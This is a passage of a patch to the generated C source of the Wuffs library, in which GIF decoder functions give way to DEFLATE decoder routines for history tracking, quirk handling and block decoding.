++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_deflate__decoder(void) { ++ return sizeof(wuffs_deflate__decoder); + } + +-// -------- func gif.decoder.history_retain_length ++// ---------------- Function Implementations ++ ++// -------- func deflate.decoder.add_history + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__history_retain_length( +- const wuffs_gif__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_deflate__decoder__add_history( ++ wuffs_deflate__decoder* self, ++ wuffs_base__slice_u8 a_hist) { + if (!self) { +- return 0; ++ return wuffs_base__make_empty_struct(); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); + } + +- return 0u; ++ wuffs_base__slice_u8 v_s = {0}; ++ uint64_t v_n_copied = 0; ++ uint32_t v_already_full = 0; ++ ++ v_s = a_hist; ++ if (((uint64_t)(v_s.len)) >= 32768u) { ++ v_s = wuffs_private_impl__slice_u8__suffix(v_s, 32768u); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); ++ self->private_impl.f_history_index = 32768u; ++ } else { ++ v_n_copied = wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, (self->private_impl.f_history_index & 32767u), 32768), v_s); ++ if (v_n_copied < ((uint64_t)(v_s.len))) { ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, v_n_copied); ++ v_n_copied = wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); ++ self->private_impl.f_history_index = (((uint32_t)((v_n_copied & 32767u))) + 32768u); ++ } else { ++ v_already_full = 0u; ++ if (self->private_impl.f_history_index >= 32768u) { ++ v_already_full = 32768u; ++ } ++ self->private_impl.f_history_index = ((self->private_impl.f_history_index & 32767u) + ((uint32_t)((v_n_copied & 32767u))) + v_already_full); ++ } ++ } ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, 32768, 33025), wuffs_base__make_slice_u8(self->private_data.f_history, 33025)); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func gif.decoder.workbuf_len ++// -------- func deflate.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_gif__decoder__workbuf_len( +- const wuffs_gif__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_deflate__decoder__get_quirk( ++ const wuffs_deflate__decoder* self, ++ uint32_t a_key) { + if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ return 0; + } + if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && + (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ return 0; + } + +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ return 0u; + } + +-// -------- func gif.decoder.restart_frame ++// -------- func deflate.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__restart_frame( +- wuffs_gif__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { ++wuffs_deflate__decoder__set_quirk( ++ wuffs_deflate__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -37252,28 +38578,52 @@ wuffs_gif__decoder__restart_frame( + : wuffs_base__error__initialize_not_called); + } + +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } else if (a_io_position == 0u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func deflate.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_deflate__decoder__dst_history_retain_length( ++ const wuffs_deflate__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } +- self->private_impl.f_delayed_num_decoded_frames = false; +- self->private_impl.f_frame_config_io_position = a_io_position; +- self->private_impl.f_num_decoded_frame_configs_value = a_index; +- self->private_impl.f_num_decoded_frames_value = a_index; +- wuffs_gif__decoder__reset_gc(self); +- self->private_impl.f_call_sequence = 40u; +- return wuffs_base__make_status(NULL); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); + } + +-// -------- func gif.decoder.decode_frame_config ++// -------- func deflate.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_deflate__decoder__workbuf_len( ++ const wuffs_deflate__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++} ++ ++// -------- func deflate.decoder.transform_io + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__decode_frame_config( +- wuffs_gif__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_deflate__decoder__transform_io( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -37283,12 +38633,12 @@ wuffs_gif__decoder__decode_frame_config( + ? wuffs_base__error__disabled_by_previous_error + : wuffs_base__error__initialize_not_called); + } +- if (!a_src) { ++ if (!a_dst || !a_src) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { ++ (self->private_impl.active_coroutine != 1)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -37297,17 +38647,17 @@ wuffs_gif__decoder__decode_frame_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_deflate__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_deflate__error__truncated_input); + goto exit; + } + status = v_status; +@@ -37315,14 +38665,14 @@ wuffs_gif__decoder__decode_frame_config( + } + + ok: +- self->private_impl.p_decode_frame_config[0] = 0; ++ self->private_impl.p_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; + exit: +@@ -37332,403 +38682,103 @@ wuffs_gif__decoder__decode_frame_config( + return status; + } + +-// -------- func gif.decoder.do_decode_frame_config ++// -------- func deflate.decoder.do_transform_io + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__do_decode_frame_config( +- wuffs_gif__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_deflate__decoder__do_transform_io( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_background_color = 0; +- uint8_t v_flags = 0; ++ uint64_t v_mark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; +- if (coro_susp_point) { +- v_background_color = self->private_data.s_do_decode_frame_config[0].v_background_color; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- self->private_impl.f_dirty_max_excl_y = 0u; +- if ((self->private_impl.f_call_sequence & 16u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ self->private_impl.choosy_decode_huffman_fast64 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ wuffs_base__cpu_arch__have_x86_bmi2() ? &wuffs_deflate__decoder__decode_huffman_bmi2 : ++#endif ++ self->private_impl.choosy_decode_huffman_fast64); ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ wuffs_base__status t_0 = wuffs_deflate__decoder__decode_blocks(self, a_dst, a_src); ++ v_status = t_0; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_gif__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; +- } +- } else if (self->private_impl.f_call_sequence == 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__skip_frame(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_call_sequence >= 96u) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if ((self->private_impl.f_num_decoded_frame_configs_value > 0u) || (self->private_impl.f_call_sequence == 40u)) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_call_sequence >= 96u) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- } +- v_background_color = self->private_impl.f_black_color_u32_argb_premul; +- if ( ! self->private_impl.f_gc_has_transparent_index) { +- v_background_color = self->private_impl.f_background_color_u32_argb_premul; +- if (self->private_impl.f_quirks[1u] && (self->private_impl.f_num_decoded_frame_configs_value == 0u)) { +- while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- } +- v_flags = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if ((v_flags & 128u) != 0u) { +- v_background_color = self->private_impl.f_black_color_u32_argb_premul; ++ if ( ! wuffs_base__status__is_suspension(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; + } ++ goto ok; + } +- } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_y1, self->private_impl.f_height)), +- ((wuffs_base__flicks)(self->private_impl.f_gc_duration)), +- self->private_impl.f_num_decoded_frame_configs_value, +- self->private_impl.f_frame_config_io_position, +- self->private_impl.f_gc_disposal, +- ! self->private_impl.f_gc_has_transparent_index, +- false, +- v_background_color); +- } +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); +- self->private_impl.f_call_sequence = 64u; +- +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_frame_config[0].v_background_color = v_background_color; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func gif.decoder.skip_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__skip_frame( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_flags = 0; +- uint8_t v_lw = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_skip_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_flags = t_0; +- } +- if ((v_flags & 128u) != 0u) { +- self->private_data.s_skip_frame[0].scratch = (((uint32_t)(3u)) << (1u + (v_flags & 7u))); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_skip_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_skip_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_skip_frame[0].scratch; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_lw = t_1; +- } +- if (v_lw > 8u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_quirks[0u]) { +- self->private_impl.f_delayed_num_decoded_frames = true; +- } else { +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); +- } +- wuffs_gif__decoder__reset_gc(self); +- self->private_impl.f_call_sequence = 32u; +- +- goto ok; +- ok: +- self->private_impl.p_skip_frame[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_skip_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func gif.decoder.decode_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__decode_frame( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); +- goto exit; +- } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_transformed_history_count, wuffs_private_impl__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)))); ++ wuffs_deflate__decoder__add_history(self, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); + status = v_status; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } + + ok: +- self->private_impl.p_decode_frame[0] = 0; ++ self->private_impl.p_do_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} +- +-// -------- func gif.decoder.do_decode_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_frame( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_gif__decoder__do_decode_frame_config(self, NULL, a_src); +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if (self->private_impl.f_quirks[5u] && ((self->private_impl.f_frame_rect_x0 == self->private_impl.f_frame_rect_x1) || (self->private_impl.f_frame_rect_y0 == self->private_impl.f_frame_rect_y1))) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_frame_size); +- goto exit; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__decode_id_part1(self, a_dst, a_src, a_blend); +- if (status.repr) { +- goto suspend; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_id_part2(self, a_dst, a_src, a_workbuf); +- if (status.repr) { +- goto suspend; +- } +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); +- wuffs_gif__decoder__reset_gc(self); +- self->private_impl.f_call_sequence = 32u; +- +- ok: +- self->private_impl.p_do_decode_frame[0] = 0; +- goto exit; ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: + return status; + } + +-// -------- func gif.decoder.reset_gc +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_gif__decoder__reset_gc( +- wuffs_gif__decoder* self) { +- self->private_impl.f_gc_has_transparent_index = false; +- self->private_impl.f_gc_transparent_index = 0u; +- self->private_impl.f_gc_disposal = 0u; +- self->private_impl.f_gc_duration = 0u; +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func gif.decoder.decode_up_to_id_part1 ++// -------- func deflate.decoder.decode_blocks + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_up_to_id_part1( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_blocks( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_block_type = 0; ++ uint32_t v_final = 0; ++ uint32_t v_b0 = 0; ++ uint32_t v_type = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -37741,71 +38791,125 @@ wuffs_gif__decoder__decode_up_to_id_part1( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_up_to_id_part1[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_blocks; ++ if (coro_susp_point) { ++ v_final = self->private_data.s_decode_blocks.v_final; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_frame_config_io_position == 0u) || (self->private_impl.f_num_decoded_frame_configs_value > 0u)) { +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ label__outer__continue:; ++ while (v_final == 0u) { ++ while (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_0 = *iop_a_src++; ++ v_b0 = t_0; + } +- uint8_t t_0 = *iop_a_src++; +- v_block_type = t_0; ++ self->private_impl.f_bits |= (v_b0 << (self->private_impl.f_n_bits & 3u)); ++ self->private_impl.f_n_bits = ((self->private_impl.f_n_bits & 3u) + 8u); + } +- if (v_block_type == 33u) { ++ v_final = (self->private_impl.f_bits & 1u); ++ v_type = ((self->private_impl.f_bits >> 1u) & 3u); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ if (v_type == 0u) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__decode_extension(self, a_src); ++ status = wuffs_deflate__decoder__decode_uncompressed(self, a_dst, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + if (status.repr) { + goto suspend; + } +- } else if (v_block_type == 44u) { +- if (self->private_impl.f_delayed_num_decoded_frames) { +- self->private_impl.f_delayed_num_decoded_frames = false; +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ continue; ++ } else if (v_type == 1u) { ++ v_status = wuffs_deflate__decoder__init_fixed_huffman(self); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; + } ++ } else if (v_type == 2u) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_id_part0(self, a_src); ++ status = wuffs_deflate__decoder__init_dynamic_huffman(self, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + if (status.repr) { + goto suspend; + } +- break; + } else { +- if (self->private_impl.f_delayed_num_decoded_frames) { +- self->private_impl.f_delayed_num_decoded_frames = false; +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_block); ++ goto exit; ++ } ++ self->private_impl.f_end_of_block = false; ++ while (true) { ++ if (sizeof(void*) == 4u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_deflate__decoder__decode_huffman_fast32(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_deflate__decoder__decode_huffman_fast64(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ if (self->private_impl.f_end_of_block) { ++ goto label__outer__continue; 